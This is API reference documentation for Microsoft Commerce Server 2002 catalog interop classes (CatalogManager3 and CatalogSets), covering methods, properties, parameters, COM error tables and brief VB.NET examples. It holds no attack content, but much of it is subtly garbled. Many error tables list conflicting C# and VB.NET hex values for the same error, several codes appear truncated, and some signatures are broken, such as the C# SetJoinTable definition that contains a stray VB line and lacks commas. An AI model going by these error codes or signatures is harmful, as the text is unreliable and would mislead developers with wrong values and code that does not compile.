E_CAT_MULTI_CAT_QUERY_NEEDS_PROPS | [C#] 0x8898000 [Visual Basic .NET] &H889800F | When performing a query against multiple catalogs, you should specify the actual properties to return.

Remarks

The returned Recordset object and the plTotalRecordsInQuery parameter contain valid data only if the method completes successfully.

The Search method is used to perform arbitrary lexical comparisons on words and phrases, and on product, product variant, and category data in one or more catalogs. It combines the functionality of the Query method and the FreeTextSearch method. It also adds the varLanguage parameter, which allows you to specify the language of the search. The Category.Search method is a related method used specifically for searching within a category.

The strSQLClause and strFTSPhrase parameters are both optional, but at least one of them must be supplied. If you only supply the strSQLClause parameter, this method functions like the Query method. If you only supply the strFTSPhrase parameter, this method functions like the FreeTextSearch method. If you supply both parameters, then only data that satisfies both search conditions will be returned. This allows you to construct sophisticated and very specific searches.

The following table shows the values of the CatalogClassTypeEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

If the varLanguage parameter is omitted the default value will depend on the number of catalogs specified in the strCatalogsToSearch parameter. If a single catalog is specified, the results will be returned in the default language of the catalog. If multiple catalogs are specified, the results will be returned in the default system language of the Web server. If a catalog does not support the selected language, only language insensitive properties will be returned for that catalog.

The programming rules regarding the strPropertiesToReturn parameter vary depending on whether a single catalog name is passed in the strCatalogsToSearch parameter, or whether multiple catalog names are passed. When a single catalog name is passed, the strPropertiesToReturn parameter is optional and defaults to all properties. When multiple catalog names are passed, the strPropertiesToReturn parameter is required.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog; otherwise it returns only the fields specified in the strPropertiesToReturn parameter. When specifying properties to return , and when specifying the strPropertyToSortOn parameter, enclose the field names in square brackets to avoid unintentional effects in the SQL query created by this method. For example, use "[Property1], [Property2]" to specify two properties.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.SetDefinitionProperties Method (PIA)

Use this method to change the properties of a category or product definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Sub SetDefinitionProperties(
  strDefinitionName As String,
  pRSProperties As _Recordset,
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset SetDefinitionProperties(
  string strDefinitionName,
  object pRSProperties
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the definition.
pRSProperties
The _Recordset interface to a Recordset object that specifies the new properties.
[C#]
strDefinitionName
A string that contains the name of the definition.
pRSProperties
The _Recordset interface to a Recordset object that specifies the new properties.
[C#]

Return Values

This method returns an ADODB26Lib._Recordset interface to a Recordset object that specifies the new properties.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B [Visual Basic .NET] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The definition you specified does not exist.
[Visual Basic .NET]

Example

myCatalogManager.SetDefinitionProperties("Shirt", pRSProperties)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateProperty


CatalogManager3.SetJoinTable Method (PIA)

Use this method to join an external table to a table in the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub SetJoinTable(
  strTargetTableName As String,
  strSourceJoinKey As String,
  strTargetJoinKey As String,
  eJoinType As CatalogJoinTypeEnum,
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetJoinTable(
Public Sub SetJoinTable(
  string strTargetTableName
  string strSourceJoinKey
  string strTargetJoinKey
  CatalogJoinTypeEnum eJoinType
);

Parameters

[Visual Basic .NET]
strTargetTableName
A String that contains the name of the external table or view with which to join.
strSourceJoinKey
A String that contains the name of the product property to join on.
strTargetJoinKey
A String that contains the name of the column in the external table or view to join against.
eJoinType
A CatalogJoinTypeEnum enumeration that specifies the join type. See the Remarks section for valid values.
[C#]
strTargetTableName
A string that contains the name of the external table or view with which to join.
strSourceJoinKey
A string that contains the name of the product property to join on.
strTargetJoinKey
A string that contains the name of the column in the external table or view to join against.
eJoinType
A CatalogJoinTypeEnum enumeration that specifies the join type. See the Remarks section for valid values.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B [Visual Basic .NET] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_JOIN_TYPE | [C#] 0x889800C [Visual Basic .NET] &H8898008 | The specified join type is either invalid or not supported.
E_CAT_INVALID_TARGET_TABLE | [C#] 0x889800C [Visual Basic .NET] &H8898009 | The target (join) table that was specified could not be found in the database.
E_CAT_INVALID_SOURCE_JOIN_KEY | [C#] 0x889800C [Visual Basic .NET] &H889800A | The specified source join-key is invalid.
E_CAT_INVALID_TARGET_JOIN_KEY | [C#] 0x889800C [Visual Basic .NET] &H889800B | The specified target join-key is invalid.

Remarks

After you have called the SetJoinTable method, any method that returns product data will join the normal output of the method with the external table. That is, the join will occur after any sorting or filtering specified in the method call is completed. This means that you cannot sort or filter on columns in the external table. All columns of the external table will be returned.

Join table information does not persist beyond the life of the CatalogManager object.

The following table shows the values in the CatalogJoinTypeEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
CMS_INNER_JOIN | 0 | Returns only rows where the keys are equal.
CMS_OUTER_JOIN_LEFT | 1 | Returns all rows in the Product Catalog System and matching rows in the target table.
CMS_OUTER_JOIN_RIGHT | 2 | Returns matching rows in the Product Catalog System and all rows in the target table.
CMS_OUTER_JOIN_FULL | 3 | Returns all rows in both tables.
CMS_NO_JOIN | -1 | Turns off the join with the external table.

When you use the ProductID, VariantID, or other indexed column in the CatalogProducts table as a join key, it is recommended that you index the join key column in the external joined table for better performance.

If you pass a parameter containing spaces to the SetJoinTable method, that parameter must be enclosed by square brackets([]).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateProperty


CatalogManager3.SetPropertyAttributes Method (PIA)

Use this method to change the attributes of a property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Sub SetPropertyAttributes(
  pRSNewState As _Recordset,
  Optional fForceUpdate As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetPropertyAttributes(
  _Recordset pRSNewState,
  object fForceUpdate
);

Parameters

[Visual Basic .NET]
pRSNewState
The _Recordset interface of a Recordset object that specifies the new attribute values.
fForceUpdate
An Object that specifies whether or not to force an update.
[C#]
pRSNewState
An ADODB26Lib._Recordset interface to a Recordset object that specifies the new attribute values.
fForceUpdate
An object that specifies whether or not to force an update. Set this to Type.Missing to enforce the default behavior.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table describes the COM exceptions that COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_INVALIDARG | [C#] 0x8007005 [Visual Basic .NET] &H8007007 | One or more arguments are invalid.
E_CAT_INVALID_RECORDSET | [C#] 0x889800A [Visual Basic .NET] &H889800E | The recordset you specified is either invalid or empty.
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_CANNOTCHANGE_DATATYPE | [C#] 0x8898010 [Visual Basic .NET] &H889801E | The datatype of this property cannot be changed.
E_CAT_INVALID_LANG_ATTRIBUTE | [C#] 0x889800F [Visual Basic .NET] &H8898002 | The Languagesensitive attribute of this property cannot be changed because this property is being used in one or more catalogs.
E_CAT_INVALID_ISFREETEXTSEARCHABLE_ATTRIBUTE | [C#] 0x8898003 [Visual Basic .NET] &H889800A | The attribute IsFreeTextSearchable can be set to only String, FilePath, and Enumeration datatypes.
E_CAT_INVALID_COLUMN_LENGTH | [C#] 0x8898004 [Visual Basic .NET] &H8898000 | The length specified for this property does not lie between 1 and 4000.
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_INVALID_PROPERTY_LENGTH | [C#] 0x8898005 [Visual Basic .NET] &H8898007 | The property you specified is being used as a ProductID or VariantID. You cannot decrease the maximum length of this property or change its data type.

Remarks

Use a Recordset object returned from either the GetPropertyAttributes method or the CreateProperty method as the pRSNewState parameter so that its time stamp can be compared with the time stamp of the existing property for error detection. You can change all attributes for a property except its data type.

[Visual Basic .NET]

Example

myCatalogManager.SetPropertyAttributes(pRSNewState, True)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateProperty

CatalogManager3.GetPropertyAttributes


CatalogManager3.ValidateXML Method (PIA)

Use this method to validate an XML formatted file without actually importing it into the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function ValidateXML(
  strXMLFilePath As String,
) As Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset ValidateXML(
  string strXMLFilePath
);

Parameters

[Visual Basic .NET]
strXMLFilePath
A String that contains the path of the XML file.
[C#]
strXMLFilePath
A string that contains the path of the XML file.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid.

In the context of this method, S_FALSE indicates that the XML file contained errors. See the returned Recordset for the first 100 errors.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3 Properties (PIA)

Properties

Property | Type | Description
Catalogs | ADODB26Lib._Recordset | Stores a recordset containing a record for each catalog contained in the Product Catalog System, including their properties. This property is read-only.
CategoryDefinitions | ADODB26Lib._Recordset | Stores a recordset containing the names of all of the category definitions that currently exist in the Product Catalog System. This property is read-only.
CustomCatalogs | ADODB26Lib._Recordset | Stores a recordset containing a record for each custom catalog. These records include the custom catalog names and the names of the catalogs they are based on. This property is read-only.
ProductDefinitions | ADODB26Lib._Recordset | Stores a recordset containing the names of all the product definitions that currently exist in the Product Catalog System. This property is read-only.
Properties | ADODB26Lib._Recordset | Stores a recordset containing the name of each property that currently exists in the Product Catalog System. This property is read-only.


CatalogManager3.Catalogs Property (PIA)

The Catalogs property is a read-only Recordset object that describes all the catalogs in the Product Catalog System. The returned Recordset object includes the properties of each catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property Catalogs(
  Optional strSearchPhrase As String,
  Optional lStartingRecord As Object,
  Optional lNumRecords As Object,
  Optional strLanguage As String,
  Optional plTotalRecordsInQuery As Object
)As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset get_Catalogs(
  string strSearchPhrase,
  object lStartingRecord,
  object lNumRecords,
  string strLanguage,
  ref object plTotalRecordsInQuery
);

Parameters

[Visual Basic .NET]
strSearchPhrase
A String that contains the search phrase.
lStartingRecord
An Object that contains the starting record. A value of one (1) indicates the first record.
lNumRecords
An Object that contains the number of records requested.
strLanguage
A String that contains the ISO 639+1 language identifier. See the Remarks section for the usage of this parameter.
plTotalRecordsInQuery
An Object used to return the total number of catalogs that match the search phrase.
[C#]
strSearchPhrase
A string that contains the search phrase.
lStartingRecord
An object that contains the starting record. A value of one (1) indicates the first record.
lNumRecords
An object that contains the number of records requested.
strLanguage
A string that contains the ISO 639+1 language identifier. See the Remarks section for the usage of this parameter.
plTotalRecordsInQuery
An object used to return the total number of catalogs that match the search phrase.
[C#]

Return Values

This method returns an ADODB26Lib._Recordset interface to a Recordset object used to return the catalogs.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant Value Description
E_CAT_CATMGR_NOT_INITIALIZED

[C#] 0x889800B5

[Visual Basic .NET] &H889800B5

 The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER

[C#] 0x889800B7

[Visual Basic .NET] &H889800B7

The recordset pointer that you specified is invalid.
E_INVALIDARG

[C#] 0x80070057

[Visual Basic .NET] &H80070057

One or more arguments are invalid.
E_CAT_INVALID_SEARCH_CLAUSE

[C#] 0x8898011C

[Visual Basic .NET] &H8898011C

The search condition that you specified is invalid for one of the following reasons
  1. It contains -- or /* which should not be used outside of property names and property values T
  2. he parenthesis in the search condition do not match in number or alignment

Remarks

The recordset returned by this property is valid only if it is accessed successfully.

get_Catalogs does not show up in IntelliSense.

The returned recordset contains the following fields:

Field Name | Data Type | Description
CatalogName | String 128 characters | None
Locale | Integer | None
StartDate | DateTime | None
EndDate | DateTime | None
VariantID | String 128 characters | The name of the property that uniquely identifies a product variant.
ProductID | String 128 characters | The name of the property that uniquely identifies a product.
Currency | String 128 characters | None
WeightMeasure | String 128 characters | None
TimeStamp | Timestamp | None
CatalogID | Integer | The number that uniquely identifies a catalog.
CustomCatalog | Bit | A flag indicating whether this is a custom catalog.
FreeTextIndexCreated | DateTime | None
ProductTableUpdated | DateTime | None

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateCatalog

CatalogManager3.DeleteCatalog


CatalogManager3.CategoryDefinitions Property (PIA)

The CategoryDefinitions property is a read-only Recordset that contains the names of all the category definitions in the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property CategoryDefinitions As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset CategoryDefinitions {get;}
[C#]

Property Value

An ADODB26Lib._Recordset interface to a Recordset object containing category definitions.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid

Remarks

[Visual Basic .NET] The recordset returned by this property is valid only if it is accessed successfully.

[C#] The CategoryDefinitions parameter contains valid data only if the property was accessed successfully.

The returned Recordset will contain a single field called DefinitionName and one row for each category definition in the Product Catalog System. This field is a 128-character String.

If no category definitions are currently in the Product Catalog System, then the EOF property of the returned Recordset will be set to True.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateCategoryDefinition

CatalogManager3.DeleteDefinition


CatalogManager3.CustomCatalogs Property (PIA)

The CustomCatalogs property is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.


CatalogManager3.ProductDefinitions Property (PIA)

The ProductDefinitions property is a read-only Recordset object that contains the names of all the product definitions in the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property ProductDefinitions As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset ProductDefinitions{get;}
[C#]

Property Value

An ADODB26Lib._Recordset interface to a Recordset object containing the product definitions.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid

Remarks

The Recordset object contains valid data only if the property was accessed successfully.

The returned recordset will contain a single field called DefinitionName and one row for each product definition in the Product Catalog System. This field is a 128-character String.

If no product definitions are currently in the Product Catalog System, then the EOF property of the returned recordset will be set to True.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateProductDefinition

CatalogManager3.DeleteDefinition


CatalogManager3.Properties Property (PIA)

The Properties property is a read-only recordset that returns the name of each property that currently exists in the Product Catalog System. If the catalog name is specified, only properties used in that catalog are returned.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property Properties(
  Optional strCatalogName As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset get_Properties(
  object strCatalogName
);

Parameters

[Visual Basic .NET]
strCatalogName
An Object that contains the name of the catalog for which the properties are returned. If this optional parameter is omitted, all properties are returned.
[C#]
strCatalogName
An object that contains the name of the catalog for which the properties are returned. If this optional parameter is set to Type.Missing, all properties are returned.

Return Values

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object used to return the properties.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table describes the COM errors that COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_CATALOGNAME | [C#] 0x8898006 [Visual Basic .NET] &H8898003 | The Catalog Name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x8898004 [Visual Basic .NET] &H8898002 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003 [Visual Basic .NET] &H889800D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.

Remarks

[Visual Basic .NET]

The Recordset object contains valid data only if the property was accessed successfully.

This method returns a Recordset object containing a row for each property returned. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

[C#]

This method returns the _Recordset interface to a Recordset object containing a row for each property returned. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

get_Properties does not show up in IntelliSense.

[Visual Basic .NET]

Example

rsProps = myCatalogManager.Properties("ShoesCatalog")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateProperty

CatalogManager3.DeleteProperty


PropertyAttribute Recordset (PIA)

The PropertyAttribute recordset reflects the property definitions found in the CatalogAttributes table.

The following table shows the fields in the PropertyAttribute recordset.

Field Name | Data Type
PropertyName | String
DataType | Small integer
u_DefaultValue | String
i_DefaultValue | Integer
dt_DefaultValue | datetime
cy_DefaultValue | money
f_DefaultValue | bit
fp_DefaultValue | float
i_MinValue | Integer
i_MaxValue | Integer
dt_MinValue | datetime
dt_MaxValue | datetime
fp_MinValue | float
fp_MaxValue | float
IsFreeTextSearchable | bit
IncludeInSpecSearch | bit
MinLength | Integer
MaxLength | Integer
cy_MinValue | money
cy_MaxValue | money
TimeStamp | timestamp
DisplayOnSite | bit
DisplayName | String
AssignAll | bit
ExportToDW | bit
DisplayInProductsList | bit


CatalogSets Class (PIA)

Use this object to work with catalog sets in the Catalog Management System. Catalog sets allow you to present different collections of catalogs to different users and organizations.

Methods

Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Removes a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)


CatalogSets Methods (PIA)

Methods

Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Removes a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.


CatalogSets.CreateCatalogSet Method (PIA)

Use this method to create a new catalog set in the catalog database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function CreateCatalogSet(
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As _Recordset
) As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public string CreateCatalogSet(
  string CatalogSetName,
  string CatalogSetDescription,
  bool bWildCard,
  _Recordset CatalogNamesRS
);

Parameters

[Visual Basic .NET]
CatalogSetName
A String that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription
A String that contains a description of the new catalog set.
bWildCard
A Boolean that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS
The _Recordset interface of a Recordset object that specifies the catalogs to be included in the new catalog set. The Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is True, then this parameter will be ignored.
[C#]
CatalogSetName
A string that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription
A string that contains a description of the new catalog set.
bWildCard
A bool that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS
An ActiveX Data Objects (ADO) ADODB26Lib._Recordset interface to a Recordset object that specifies the catalogs to be included in the new catalog set. The Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is true, then this parameter will be ignored and a value of Type.Missing can be used

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the ID of the new catalog set.

[C#] This method returns a string containing the automatically generated ID (GUID) of the new catalog set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

'The following example shows the creation of a catalog set
'associated with all the catalogs in the catalog management system.
strCatalogSetID = myCatalogSets.CreateCatalogSet( _
  "PremiumCatalogs", "Premium catalog set", True)

'The following example shows the creation of a catalog set
'associated with two specific catalogs.
rsCatalogNames = New Recordset()
rsCatalogNames.Fields.Append("CatalogName", DataTypeEnum.adBSTR)
rsCatalogNames.Open()
rsCatalogNames.AddNew()
rsCatalogNames.Fields("CatalogName").Value = "Catalog1"
rsCatalogNames.Update()
rsCatalogNames.AddNew()
rsCatalogNames.Fields("CatalogName").Value = "Catalog2"
rsCatalogNames.Update()

strCatalogSetID = myCatalogSets.CreateCatalogSet( _
  "CombinedCatalog", "A one and a two", False, rsCatalogNames)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.DeleteCatalogSet Method (PIA)

Use this method to delete an existing catalog set from the catalog database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
PublicSub DeleteCatalogSet(
  CatalogSetID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteCatalogSet(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the ID of the catalog set to be deleted.
[C#]
CatalogSetID
A string that contains the GUID of the catalog set to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Deleting a catalog set does not delete the catalog set ID. Referencing an invalid catalog set ID will prevent access to the solution sites.

[Visual Basic .NET]

Example

'strCatalogSetID1 is a GUID
myCatalogSets.DeleteCatalogSet(strCatalogSetID1)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.GetCatalogs Method (PIA)

Use this method to return a list of all catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogs() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogs();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of all catalogs.

[C#] This method returns a _Recordset interface to a Recordset object that will contain catalogs.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Recordset object returned by this method has a single 128-character field, named CatalogName.

[Visual Basic .NET]

Example

rsMyCatalogs = myCatalogSets.GetCatalogs()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.GetCatalogSetIDForUser Method (PIA)

Use this method to return the CatalogSetID for a specific user.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
PublicFunction GetCatalogSetIDForUser(
  objProfileService As Object,
  user_id As String,
  defaultCatalogSetID As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public object GetCatalogSetIDForUser(
  object objProfileService,
  string user_id,
  string defaultCatalogSetID
);

Parameters

[Visual Basic .NET]
objProfileService
A ProfileService object.
user_id
A String that contains the user ID.
defaultCatalogSetID
